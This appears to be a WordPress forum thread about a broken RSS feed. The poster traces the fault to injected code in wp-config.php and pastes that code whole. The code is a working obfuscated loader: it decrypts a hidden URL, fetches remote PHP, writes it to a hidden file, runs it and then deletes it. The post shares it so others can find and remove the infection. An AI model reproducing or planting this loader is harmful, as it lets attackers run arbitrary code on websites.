RSS Feed Totally Blank

No helpful input from GoDaddy… but I did uncover some unusual behavior that I thought I’d share. It hasn’t helped me to hunt down the cause yet… but thought maybe someone else would have an idea.

I tried re-installing the WP 4.9.6 files… and while the site worked, the feed still didn’t.

I tried rolling back to WP 4.9.5… but that didn’t change anything, either.

Then, taking a BackupBuddy copy of the site and installing it locally using Local by Flywheel… if I disable internet connectivity and load the local site’s RSS feed URL… it loads! As soon as I re-enable the internet connection on my computer, it doesn’t! So, obviously, the site is doing some kind of check for some resource on the internet that when it works… stops the feed. But when it doesn’t, the feed loads?!?!

Ever hear of something like that?

I’m stumped!

Hi @bobthebuilder69… unfortunately, no. No solution yet. RSS feed is still not working, so neither is MailChimp.

Do you have any idea when this started being a problem for you? Maybe we can figure out if there’s a common element that might help us both?

Just an FYI… I think I found what my problem was. I think my site may have gotten “infected” with something. I was poking around in some files, comparing them to older versions from old backups, and found strange code in the wp-config.pho file. It looked like the following (right up near the top of the file, right after the <?php and ending before the comment section about base configurations):

@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPvOXNBbYNrscnSWJXqjTu18HYVk=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
	if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
	$subdirs = glob("$dira/*", GLOB_ONLYDIR);
	foreach ($subdirs as $subdira) {
		if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
	}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}

Maybe this will help others solve their RSS feed problems… because when I removed that from the wp-config.php file, the feed started working again right away.